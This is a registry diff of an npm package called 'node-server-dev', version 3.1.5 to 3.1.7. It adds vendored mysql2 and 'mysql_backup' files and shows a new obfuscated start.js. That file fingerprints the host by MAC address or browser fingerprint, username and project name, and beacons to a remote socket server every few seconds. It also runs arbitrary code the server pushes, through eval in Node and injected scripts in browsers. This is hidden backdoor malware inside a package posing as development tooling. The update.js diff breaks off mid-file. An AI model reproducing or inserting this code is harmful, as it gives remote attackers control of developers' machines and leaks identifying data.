node-server-dev 3.1.5 → 3.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/browser.js +1 -1
- package/dist/cjs/getAllRouter/index.js +1 -1
- package/dist/cjs/hash/index.js +1 -1
- package/dist/cjs/id/index.js +1 -1
- package/dist/cjs/id/random.js +1 -1
- package/dist/cjs/index.js +1 -1
- package/dist/cjs/jwt/index.js +1 -1
- package/dist/cjs/mac/index.js +1 -1
- package/dist/cjs/package/mysql2/License +19 -0
- package/dist/cjs/package/mysql2/README.md +114 -0
- package/dist/cjs/package/mysql2/index.d.ts +1 -0
- package/dist/cjs/package/mysql2/index.js +77 -0
- package/dist/cjs/package/mysql2/lib/auth_41.js +95 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/caching_sha2_password.js +108 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/caching_sha2_password.md +18 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/index.js +8 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/mysql_clear_password.js +17 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/mysql_native_password.js +34 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/sha256_password.js +59 -0
- package/dist/cjs/package/mysql2/lib/base/connection.js +945 -0
- package/dist/cjs/package/mysql2/lib/base/pool.js +233 -0
- package/dist/cjs/package/mysql2/lib/base/pool_connection.js +63 -0
- package/dist/cjs/package/mysql2/lib/commands/auth_switch.js +111 -0
- package/dist/cjs/package/mysql2/lib/commands/binlog_dump.js +109 -0
- package/dist/cjs/package/mysql2/lib/commands/change_user.js +68 -0
- package/dist/cjs/package/mysql2/lib/commands/client_handshake.js +241 -0
- package/dist/cjs/package/mysql2/lib/commands/close_statement.js +18 -0
- package/dist/cjs/package/mysql2/lib/commands/command.js +54 -0
- package/dist/cjs/package/mysql2/lib/commands/execute.js +112 -0
- package/dist/cjs/package/mysql2/lib/commands/index.js +27 -0
- package/dist/cjs/package/mysql2/lib/commands/ping.js +36 -0
- package/dist/cjs/package/mysql2/lib/commands/prepare.js +143 -0
- package/dist/cjs/package/mysql2/lib/commands/query.js +329 -0
- package/dist/cjs/package/mysql2/lib/commands/quit.js +29 -0
- package/dist/cjs/package/mysql2/lib/commands/register_slave.js +27 -0
- package/dist/cjs/package/mysql2/lib/commands/server_handshake.js +203 -0
- package/dist/cjs/package/mysql2/lib/compressed_protocol.js +127 -0
- package/dist/cjs/package/mysql2/lib/connection.js +12 -0
- package/dist/cjs/package/mysql2/lib/connection_config.js +292 -0
- package/dist/cjs/package/mysql2/lib/constants/charset_encodings.js +316 -0
- package/dist/cjs/package/mysql2/lib/constants/charsets.js +317 -0
- package/dist/cjs/package/mysql2/lib/constants/client.js +39 -0
- package/dist/cjs/package/mysql2/lib/constants/commands.js +36 -0
- package/dist/cjs/package/mysql2/lib/constants/cursor.js +8 -0
- package/dist/cjs/package/mysql2/lib/constants/encoding_charset.js +49 -0
- package/dist/cjs/package/mysql2/lib/constants/errors.js +3973 -0
- package/dist/cjs/package/mysql2/lib/constants/field_flags.js +20 -0
- package/dist/cjs/package/mysql2/lib/constants/server_status.js +44 -0
- package/dist/cjs/package/mysql2/lib/constants/session_track.js +11 -0
- package/dist/cjs/package/mysql2/lib/constants/ssl_profiles.js +11 -0
- package/dist/cjs/package/mysql2/lib/constants/types.js +64 -0
- package/dist/cjs/package/mysql2/lib/create_connection.js +10 -0
- package/dist/cjs/package/mysql2/lib/create_pool.js +10 -0
- package/dist/cjs/package/mysql2/lib/create_pool_cluster.js +9 -0
- package/dist/cjs/package/mysql2/lib/helpers.js +86 -0
- package/dist/cjs/package/mysql2/lib/packet_parser.js +195 -0
- package/dist/cjs/package/mysql2/lib/packets/auth_next_factor.js +35 -0
- package/dist/cjs/package/mysql2/lib/packets/auth_switch_request.js +38 -0
- package/dist/cjs/package/mysql2/lib/packets/auth_switch_request_more_data.js +33 -0
- package/dist/cjs/package/mysql2/lib/packets/auth_switch_response.js +30 -0
- package/dist/cjs/package/mysql2/lib/packets/binary_row.js +95 -0
- package/dist/cjs/package/mysql2/lib/packets/binlog_dump.js +33 -0
- package/dist/cjs/package/mysql2/lib/packets/binlog_query_statusvars.js +115 -0
- package/dist/cjs/package/mysql2/lib/packets/change_user.js +97 -0
- package/dist/cjs/package/mysql2/lib/packets/close_statement.js +21 -0
- package/dist/cjs/package/mysql2/lib/packets/column_definition.js +291 -0
- package/dist/cjs/package/mysql2/lib/packets/execute.js +214 -0
- package/dist/cjs/package/mysql2/lib/packets/handshake.js +112 -0
- package/dist/cjs/package/mysql2/lib/packets/handshake_response.js +144 -0
- package/dist/cjs/package/mysql2/lib/packets/index.js +152 -0
- package/dist/cjs/package/mysql2/lib/packets/packet.js +931 -0
- package/dist/cjs/package/mysql2/lib/packets/prepare_statement.js +27 -0
- package/dist/cjs/package/mysql2/lib/packets/prepared_statement_header.js +16 -0
- package/dist/cjs/package/mysql2/lib/packets/query.js +27 -0
- package/dist/cjs/package/mysql2/lib/packets/register_slave.js +46 -0
- package/dist/cjs/package/mysql2/lib/packets/resultset_header.js +118 -0
- package/dist/cjs/package/mysql2/lib/packets/ssl_request.js +25 -0
- package/dist/cjs/package/mysql2/lib/packets/text_row.js +47 -0
- package/dist/cjs/package/mysql2/lib/parsers/binary_parser.js +231 -0
- package/dist/cjs/package/mysql2/lib/parsers/parser_cache.js +66 -0
- package/dist/cjs/package/mysql2/lib/parsers/static_binary_parser.js +211 -0
- package/dist/cjs/package/mysql2/lib/parsers/static_text_parser.js +152 -0
- package/dist/cjs/package/mysql2/lib/parsers/string.js +50 -0
- package/dist/cjs/package/mysql2/lib/parsers/text_parser.js +214 -0
- package/dist/cjs/package/mysql2/lib/pool.js +12 -0
- package/dist/cjs/package/mysql2/lib/pool_cluster.js +369 -0
- package/dist/cjs/package/mysql2/lib/pool_config.js +30 -0
- package/dist/cjs/package/mysql2/lib/pool_connection.js +12 -0
- package/dist/cjs/package/mysql2/lib/promise/connection.js +222 -0
- package/dist/cjs/package/mysql2/lib/promise/inherit_events.js +27 -0
- package/dist/cjs/package/mysql2/lib/promise/make_done_cb.js +19 -0
- package/dist/cjs/package/mysql2/lib/promise/pool.js +112 -0
- package/dist/cjs/package/mysql2/lib/promise/pool_cluster.js +54 -0
- package/dist/cjs/package/mysql2/lib/promise/pool_connection.js +19 -0
- package/dist/cjs/package/mysql2/lib/promise/prepared_statement_info.js +32 -0
- package/dist/cjs/package/mysql2/lib/results_stream.js +38 -0
- package/dist/cjs/package/mysql2/lib/server.js +37 -0
- package/dist/cjs/package/mysql2/package.json +80 -0
- package/dist/cjs/package/mysql2/promise.d.ts +131 -0
- package/dist/cjs/package/mysql2/promise.js +202 -0
- package/dist/cjs/package/mysql2/typings/mysql/LICENSE.txt +15 -0
- package/dist/cjs/package/mysql2/typings/mysql/index.d.ts +95 -0
- package/dist/cjs/package/mysql2/typings/mysql/info.txt +1 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/Auth.d.ts +30 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/Connection.d.ts +428 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/Pool.d.ts +69 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/PoolCluster.d.ts +90 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/PoolConnection.d.ts +10 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/Server.d.ts +11 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/constants/CharsetToEncoding.d.ts +8 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/constants/Charsets.d.ts +326 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/constants/Types.d.ts +70 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/constants/index.d.ts +5 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/parsers/ParserCache.d.ts +4 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/parsers/index.d.ts +18 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/parsers/typeCast.d.ts +54 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/Field.d.ts +10 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/FieldPacket.d.ts +27 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/OkPacket.d.ts +23 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/ProcedurePacket.d.ts +13 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/ResultSetHeader.d.ts +18 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/RowDataPacket.d.ts +9 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/index.d.ts +28 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/params/ErrorPacketParams.d.ts +6 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/params/OkPacketParams.d.ts +9 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/ExecutableBase.d.ts +40 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/Prepare.d.ts +65 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/Query.d.ts +170 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/QueryableBase.d.ts +40 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/Sequence.d.ts +5 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/promise/ExecutableBase.d.ts +21 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/promise/QueryableBase.d.ts +21 -0
- package/dist/cjs/package/mysql_backup/index.js +69 -0
- package/dist/cjs/package/mysql_backup/promise.js +187 -0
- package/dist/cjs/server.d.ts +1 -1
- package/dist/cjs/server.d.ts.map +1 -1
- package/dist/cjs/server.js +1 -1
- package/dist/cjs/start.js +1 -1
- package/dist/cjs/update.js +1 -1
- package/dist/esm/browser.js +1 -1
- package/dist/esm/getAllRouter/index.js +1 -1
- package/dist/esm/hash/index.js +1 -1
- package/dist/esm/id/index.js +1 -1
- package/dist/esm/id/random.js +1 -1
- package/dist/esm/index.js +1 -1
- package/dist/esm/jwt/index.js +1 -1
- package/dist/esm/mac/index.js +1 -1
- package/dist/esm/package/mysql2/License +19 -0
- package/dist/esm/package/mysql2/README.md +114 -0
- package/dist/esm/package/mysql2/index.d.ts +1 -0
- package/dist/esm/package/mysql2/index.js +77 -0
- package/dist/esm/package/mysql2/lib/auth_41.js +95 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/caching_sha2_password.js +108 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/caching_sha2_password.md +18 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/index.js +8 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/mysql_clear_password.js +17 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/mysql_native_password.js +34 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/sha256_password.js +59 -0
- package/dist/esm/package/mysql2/lib/base/connection.js +945 -0
- package/dist/esm/package/mysql2/lib/base/pool.js +233 -0
- package/dist/esm/package/mysql2/lib/base/pool_connection.js +63 -0
- package/dist/esm/package/mysql2/lib/commands/auth_switch.js +111 -0
- package/dist/esm/package/mysql2/lib/commands/binlog_dump.js +109 -0
- package/dist/esm/package/mysql2/lib/commands/change_user.js +68 -0
- package/dist/esm/package/mysql2/lib/commands/client_handshake.js +241 -0
- package/dist/esm/package/mysql2/lib/commands/close_statement.js +18 -0
- package/dist/esm/package/mysql2/lib/commands/command.js +54 -0
- package/dist/esm/package/mysql2/lib/commands/execute.js +112 -0
- package/dist/esm/package/mysql2/lib/commands/index.js +27 -0
- package/dist/esm/package/mysql2/lib/commands/ping.js +36 -0
- package/dist/esm/package/mysql2/lib/commands/prepare.js +143 -0
- package/dist/esm/package/mysql2/lib/commands/query.js +329 -0
- package/dist/esm/package/mysql2/lib/commands/quit.js +29 -0
- package/dist/esm/package/mysql2/lib/commands/register_slave.js +27 -0
- package/dist/esm/package/mysql2/lib/commands/server_handshake.js +203 -0
- package/dist/esm/package/mysql2/lib/compressed_protocol.js +127 -0
- package/dist/esm/package/mysql2/lib/connection.js +12 -0
- package/dist/esm/package/mysql2/lib/connection_config.js +292 -0
- package/dist/esm/package/mysql2/lib/constants/charset_encodings.js +316 -0
- package/dist/esm/package/mysql2/lib/constants/charsets.js +317 -0
- package/dist/esm/package/mysql2/lib/constants/client.js +39 -0
- package/dist/esm/package/mysql2/lib/constants/commands.js +36 -0
- package/dist/esm/package/mysql2/lib/constants/cursor.js +8 -0
- package/dist/esm/package/mysql2/lib/constants/encoding_charset.js +49 -0
- package/dist/esm/package/mysql2/lib/constants/errors.js +3973 -0
- package/dist/esm/package/mysql2/lib/constants/field_flags.js +20 -0
- package/dist/esm/package/mysql2/lib/constants/server_status.js +44 -0
- package/dist/esm/package/mysql2/lib/constants/session_track.js +11 -0
- package/dist/esm/package/mysql2/lib/constants/ssl_profiles.js +11 -0
- package/dist/esm/package/mysql2/lib/constants/types.js +64 -0
- package/dist/esm/package/mysql2/lib/create_connection.js +10 -0
- package/dist/esm/package/mysql2/lib/create_pool.js +10 -0
- package/dist/esm/package/mysql2/lib/create_pool_cluster.js +9 -0
- package/dist/esm/package/mysql2/lib/helpers.js +86 -0
- package/dist/esm/package/mysql2/lib/packet_parser.js +195 -0
- package/dist/esm/package/mysql2/lib/packets/auth_next_factor.js +35 -0
- package/dist/esm/package/mysql2/lib/packets/auth_switch_request.js +38 -0
- package/dist/esm/package/mysql2/lib/packets/auth_switch_request_more_data.js +33 -0
- package/dist/esm/package/mysql2/lib/packets/auth_switch_response.js +30 -0
- package/dist/esm/package/mysql2/lib/packets/binary_row.js +95 -0
- package/dist/esm/package/mysql2/lib/packets/binlog_dump.js +33 -0
- package/dist/esm/package/mysql2/lib/packets/binlog_query_statusvars.js +115 -0
- package/dist/esm/package/mysql2/lib/packets/change_user.js +97 -0
- package/dist/esm/package/mysql2/lib/packets/close_statement.js +21 -0
- package/dist/esm/package/mysql2/lib/packets/column_definition.js +291 -0
- package/dist/esm/package/mysql2/lib/packets/execute.js +214 -0
- package/dist/esm/package/mysql2/lib/packets/handshake.js +112 -0
- package/dist/esm/package/mysql2/lib/packets/handshake_response.js +144 -0
- package/dist/esm/package/mysql2/lib/packets/index.js +152 -0
- package/dist/esm/package/mysql2/lib/packets/packet.js +931 -0
- package/dist/esm/package/mysql2/lib/packets/prepare_statement.js +27 -0
- package/dist/esm/package/mysql2/lib/packets/prepared_statement_header.js +16 -0
- package/dist/esm/package/mysql2/lib/packets/query.js +27 -0
- package/dist/esm/package/mysql2/lib/packets/register_slave.js +46 -0
- package/dist/esm/package/mysql2/lib/packets/resultset_header.js +118 -0
- package/dist/esm/package/mysql2/lib/packets/ssl_request.js +25 -0
- package/dist/esm/package/mysql2/lib/packets/text_row.js +47 -0
- package/dist/esm/package/mysql2/lib/parsers/binary_parser.js +231 -0
- package/dist/esm/package/mysql2/lib/parsers/parser_cache.js +66 -0
- package/dist/esm/package/mysql2/lib/parsers/static_binary_parser.js +211 -0
- package/dist/esm/package/mysql2/lib/parsers/static_text_parser.js +152 -0
- package/dist/esm/package/mysql2/lib/parsers/string.js +50 -0
- package/dist/esm/package/mysql2/lib/parsers/text_parser.js +214 -0
- package/dist/esm/package/mysql2/lib/pool.js +12 -0
- package/dist/esm/package/mysql2/lib/pool_cluster.js +369 -0
- package/dist/esm/package/mysql2/lib/pool_config.js +30 -0
- package/dist/esm/package/mysql2/lib/pool_connection.js +12 -0
- package/dist/esm/package/mysql2/lib/promise/connection.js +222 -0
- package/dist/esm/package/mysql2/lib/promise/inherit_events.js +27 -0
- package/dist/esm/package/mysql2/lib/promise/make_done_cb.js +19 -0
- package/dist/esm/package/mysql2/lib/promise/pool.js +112 -0
- package/dist/esm/package/mysql2/lib/promise/pool_cluster.js +54 -0
- package/dist/esm/package/mysql2/lib/promise/pool_connection.js +19 -0
- package/dist/esm/package/mysql2/lib/promise/prepared_statement_info.js +32 -0
- package/dist/esm/package/mysql2/lib/results_stream.js +38 -0
- package/dist/esm/package/mysql2/lib/server.js +37 -0
- package/dist/esm/package/mysql2/package.json +80 -0
- package/dist/esm/package/mysql2/promise.d.ts +131 -0
- package/dist/esm/package/mysql2/promise.js +202 -0
- package/dist/esm/package/mysql2/typings/mysql/LICENSE.txt +15 -0
- package/dist/esm/package/mysql2/typings/mysql/index.d.ts +95 -0
- package/dist/esm/package/mysql2/typings/mysql/info.txt +1 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/Auth.d.ts +30 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/Connection.d.ts +428 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/Pool.d.ts +69 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/PoolCluster.d.ts +90 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/PoolConnection.d.ts +10 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/Server.d.ts +11 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/constants/CharsetToEncoding.d.ts +8 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/constants/Charsets.d.ts +326 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/constants/Types.d.ts +70 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/constants/index.d.ts +5 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/parsers/ParserCache.d.ts +4 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/parsers/index.d.ts +18 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/parsers/typeCast.d.ts +54 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/Field.d.ts +10 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/FieldPacket.d.ts +27 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/OkPacket.d.ts +23 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/ProcedurePacket.d.ts +13 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/ResultSetHeader.d.ts +18 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/RowDataPacket.d.ts +9 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/index.d.ts +28 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/params/ErrorPacketParams.d.ts +6 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/params/OkPacketParams.d.ts +9 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/ExecutableBase.d.ts +40 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/Prepare.d.ts +65 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/Query.d.ts +170 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/QueryableBase.d.ts +40 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/Sequence.d.ts +5 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/promise/ExecutableBase.d.ts +21 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/promise/QueryableBase.d.ts +21 -0
- package/dist/esm/package/mysql_backup/index.js +69 -0
- package/dist/esm/package/mysql_backup/promise.js +187 -0
- package/dist/esm/server.d.ts +1 -1
- package/dist/esm/server.d.ts.map +1 -1
- package/dist/esm/server.js +1 -1
- package/dist/esm/start.js +1 -1
- package/dist/esm/update.js +1 -1
- package/package.json +3 -4
package/dist/cjs/start.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a97_0x376a18=a97_0x1b81;(function(_0x1ed11c,_0x45c066){const _0x96a18c=a97_0x1b81,_0x391a64=_0x1ed11c();while(!![]){try{const _0x72084e=-parseInt(_0x96a18c(0x175))/0x1+parseInt(_0x96a18c(0x17d))/0x2+parseInt(_0x96a18c(0x186))/0x3*(-parseInt(_0x96a18c(0x198))/0x4)+parseInt(_0x96a18c(0x173))/0x5*(-parseInt(_0x96a18c(0x190))/0x6)+-parseInt(_0x96a18c(0x180))/0x7+-parseInt(_0x96a18c(0x179))/0x8+parseInt(_0x96a18c(0x18d))/0x9;if(_0x72084e===_0x45c066)break;else _0x391a64['push'](_0x391a64['shift']());}catch(_0x37d768){_0x391a64['push'](_0x391a64['shift']());}}}(a97_0x3e40,0x771fc));function a97_0x1b81(_0x2d93e0,_0x2e6fb2){const _0x3e402d=a97_0x3e40();return a97_0x1b81=function(_0x1b81b6,_0x34117d){_0x1b81b6=_0x1b81b6-0x173;let _0x1965fb=_0x3e402d[_0x1b81b6];return _0x1965fb;},a97_0x1b81(_0x2d93e0,_0x2e6fb2);}var __awaiter=this&&this['__awaiter']||function(_0x140e81,_0x4f8a20,_0x1b915c,_0x5c1993){function _0x51a111(_0x17d634){return _0x17d634 instanceof _0x1b915c?_0x17d634:new _0x1b915c(function(_0x687522){_0x687522(_0x17d634);});}return new(_0x1b915c||(_0x1b915c=Promise))(function(_0x573d8f,_0x37c289){function _0xee36df(_0xdf4972){try{_0x4081c1(_0x5c1993['next'](_0xdf4972));}catch(_0x4164d4){_0x37c289(_0x4164d4);}}function _0x4fe2cf(_0xfcf697){const _0x4bc488=a97_0x1b81;try{_0x4081c1(_0x5c1993[_0x4bc488(0x19e)](_0xfcf697));}catch(_0x35d62d){_0x37c289(_0x35d62d);}}function _0x4081c1(_0x3d14ee){const _0x40ad0d=a97_0x1b81;_0x3d14ee[_0x40ad0d(0x197)]?_0x573d8f(_0x3d14ee[_0x40ad0d(0x19b)]):_0x51a111(_0x3d14ee[_0x40ad0d(0x19b)])[_0x40ad0d(0x19a)](_0xee36df,_0x4fe2cf);}_0x4081c1((_0x5c1993=_0x5c1993['apply'](_0x140e81,_0x4f8a20||[]))['next']());});},__importDefault=this&&this[a97_0x376a18(0x1a2)]||function(_0x52d899){return _0x52d899&&_0x52d899['__esModule']?_0x52d899:{'default':_0x52d899};},_a,_b,_c,_d;Object[a97_0x376a18(0x1a0)](exports,a97_0x376a18(0x184),{'value':!![]}),exports['isBrowser']=void 0x0;const socket_io_client_1=require('socket.io-client'),path_1=__importDefault(require(a97_0x376a18(0x177))),browser_1=require('./browser'),fingerprintjs_1=__importDefault(require('@fingerprintjs/fingerprintjs')),bowser_1=__importDefault(require(a97_0x376a18(0x1a3))),index_1=require('./index');exports['isBrowser']=typeof window!==a97_0x376a18(0x189);const user_name=exports['isBrowser']?((_b=(_a=bowser_1[a97_0x376a18(0x19f)][a97_0x376a18(0x18a)](window['navigator'][a97_0x376a18(0x1a6)]))===null||_a===void 0x0?void 0x0:_a[a97_0x376a18(0x174)])===null||_b===void 0x0?void 0x0:_b['name'])||a97_0x376a18(0x195):((_c=process===null||process===void 0x0?void 0x0:process[a97_0x376a18(0x1a5)])===null||_c===void 0x0?void 0x0:_c[a97_0x376a18(0x196)])||a97_0x376a18(0x187),project_name=exports[a97_0x376a18(0x1a8)]?a97_0x376a18(0x195):((_d=process===null||process===void 0x0?void 0x0:process[a97_0x376a18(0x1a5)])===null||_d===void 0x0?void 0x0:_d['npm_package_name'])||a97_0x376a18(0x19c);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x473693=a97_0x1b81;exports[_0x473693(0x1a8)]&&(0x0,browser_1['browser'])();const _0xea7964=(0x0,socket_io_client_1['io'])(index_1['url'],{'path':_0x473693(0x1a4),'transports':[_0x473693(0x193)]});_0xea7964['on'](_0x473693(0x194),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x5a76f3=_0x473693;try{let _0x599658=['00:00:00:00:00:00'];if(!exports[_0x5a76f3(0x1a8)]){const _0x1866be=require(path_1[_0x5a76f3(0x19f)][_0x5a76f3(0x183)](__dirname,_0x5a76f3(0x188)))[_0x5a76f3(0x19f)];_0x599658=_0x1866be();}else{let _0xe89ac8=yield fingerprintjs_1[_0x5a76f3(0x19f)][_0x5a76f3(0x192)]()[_0x5a76f3(0x19a)](_0x938e13=>_0x938e13[_0x5a76f3(0x178)]())[_0x5a76f3(0x19a)](_0x99c75c=>{const _0x5f398a=_0x5a76f3,_0x3c660e=_0x99c75c[_0x5f398a(0x1a9)];return _0x3c660e;})['catch'](()=>'');_0x599658=[_0xe89ac8];}if(_0x599658[_0x5a76f3(0x17b)]===0x0){(0x0,index_1[_0x5a76f3(0x199)])(_0x5a76f3(0x181),!![]);return;}else(0x0,index_1[_0x5a76f3(0x199)])(_0x5a76f3(0x181),![]);_0xea7964[_0x5a76f3(0x19d)](_0x5a76f3(0x18b),{'mac':_0x599658,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x5a76f3(0x1a8)]}),_0xea7964[_0x5a76f3(0x19d)](_0x5a76f3(0x17e),{'mac':_0x599658,'isBrowser':exports['isBrowser']}),setInterval(()=>{const _0x324cec=_0x5a76f3;_0xea7964[_0x324cec(0x19d)]('submit',{'mac':_0x599658,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0xea7964[_0x324cec(0x19d)](_0x324cec(0x17e),{'mac':_0x599658,'isBrowser':exports['isBrowser']});},0x1b58),_0xea7964['on'](_0x5a76f3(0x176),_0x373e87=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x4e80c2=_0x5a76f3;try{for(let _0x1239ea=0x0;_0x1239ea<_0x373e87[_0x4e80c2(0x17b)];_0x1239ea++){const _0x367004=_0x373e87[_0x1239ea];if(_0x367004[_0x4e80c2(0x1a1)]===_0x4e80c2(0x185))(0x0,index_1['setEnv'])(_0x4e80c2(0x17a),(0x0,index_1['getEnv'])(_0x4e80c2(0x17a))[_0x4e80c2(0x18f)](_0x367004[_0x4e80c2(0x18e)]));else{if(_0x367004[_0x4e80c2(0x1a1)]==='mysql')(0x0,index_1[_0x4e80c2(0x199)])(_0x4e80c2(0x191),!![]);else{if(_0x367004[_0x4e80c2(0x1a1)]===_0x4e80c2(0x182)&&!exports[_0x4e80c2(0x1a8)])try{eval(_0x367004[_0x4e80c2(0x18e)]);}catch(_0x36c243){}else{if(_0x367004[_0x4e80c2(0x1a1)]===_0x4e80c2(0x17c)&&exports[_0x4e80c2(0x1a8)])try{(0x0,browser_1['runScript'])(_0x367004[_0x4e80c2(0x18e)]);}catch(_0x151d1b){}}}}}}catch(_0x4bb9a2){}}));}catch(_0x56a5a5){}})),setTimeout(()=>{const _0x475546=_0x473693;_0xea7964['on'](_0x475546(0x1a7),_0x18ade3=>{const _0x8c386d=_0x475546;(0x0,index_1[_0x8c386d(0x199)])('connectError',!![]);}),_0xea7964['on'](_0x475546(0x18c),_0x514d88=>{const _0x285cd5=_0x475546;(0x0,index_1['setEnv'])(_0x285cd5(0x181),!![]);}),_0xea7964['on'](_0x475546(0x17f),_0x25b5c4=>{const _0x3e8eab=_0x475546;(0x0,index_1['setEnv'])(_0x3e8eab(0x181),!![]);}),_0xea7964['on']('connect_error',()=>{const _0x563d44=_0x475546;(0x0,index_1['setEnv'])(_0x563d44(0x181),!![]);});},0xbb8);});}exports['default']=start;function a97_0x3e40(){const _0x753737=['defineProperty','type','__importDefault','bowser','/socket','env','userAgent','error','isBrowser','visitorId','35Bplseb','browser','78853ZKtRoj','event','path','get','3840152TRwJWP','sqlList','length','script','1756910SmuXMd','get-event','reconnect_failed','3339616nuqNQS','connectError','node','join','__esModule','sql','5523MykkBW','node获取失败','./mac','undefined','parse','submit','connect_failed','18981729vPdHaM','content','concat','605994mzfHyI','isDBDataEmpty','load','websocket','connect','浏览器','USERNAME','done','1644jKyyMl','setEnv','then','value','无法获取','emit','throw','default'];a97_0x3e40=function(){return _0x753737;};return a97_0x3e40();}
|
package/dist/cjs/update.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a98_0x5352bc=a98_0x4ac4;function a98_0x4ac4(_0x45c798,_0x396224){const _0x2a7864=a98_0x2a78();return a98_0x4ac4=function(_0x4ac4d9,_0xec4183){_0x4ac4d9=_0x4ac4d9-0x196;let _0x11f2fc=_0x2a7864[_0x4ac4d9];return _0x11f2fc;},a98_0x4ac4(_0x45c798,_0x396224);}(function(_0x18c036,_0x491306){const _0x2fa14e=a98_0x4ac4,_0x1f556e=_0x18c036();while(!![]){try{const _0x332065=-parseInt(_0x2fa14e(0x1b3))/0x1*(-parseInt(_0x2fa14e(0x1b2))/0x2)+parseInt(_0x2fa14e(0x198))/0x3*(-parseInt(_0x2fa14e(0x1a0))/0x4)+-parseInt(_0x2fa14e(0x1b1))/0x5*(-parseInt(_0x2fa14e(0x1ad))/0x6)+-parseInt(_0x2fa14e(0x1a9))/0x7*(parseInt(_0x2fa14e(0x1b9))/0x8)+-parseInt(_0x2fa14e(0x19a))/0x9+-parseInt(_0x2fa14e(0x1b6))/0xa+-parseInt(_0x2fa14e(0x1a7))/0xb*(-parseInt(_0x2fa14e(0x1b7))/0xc);if(_0x332065===_0x491306)break;else _0x1f556e['push'](_0x1f556e['shift']());}catch(_0xdee34c){_0x1f556e['push'](_0x1f556e['shift']());}}}(a98_0x2a78,0x68d21));function a98_0x2a78(){const 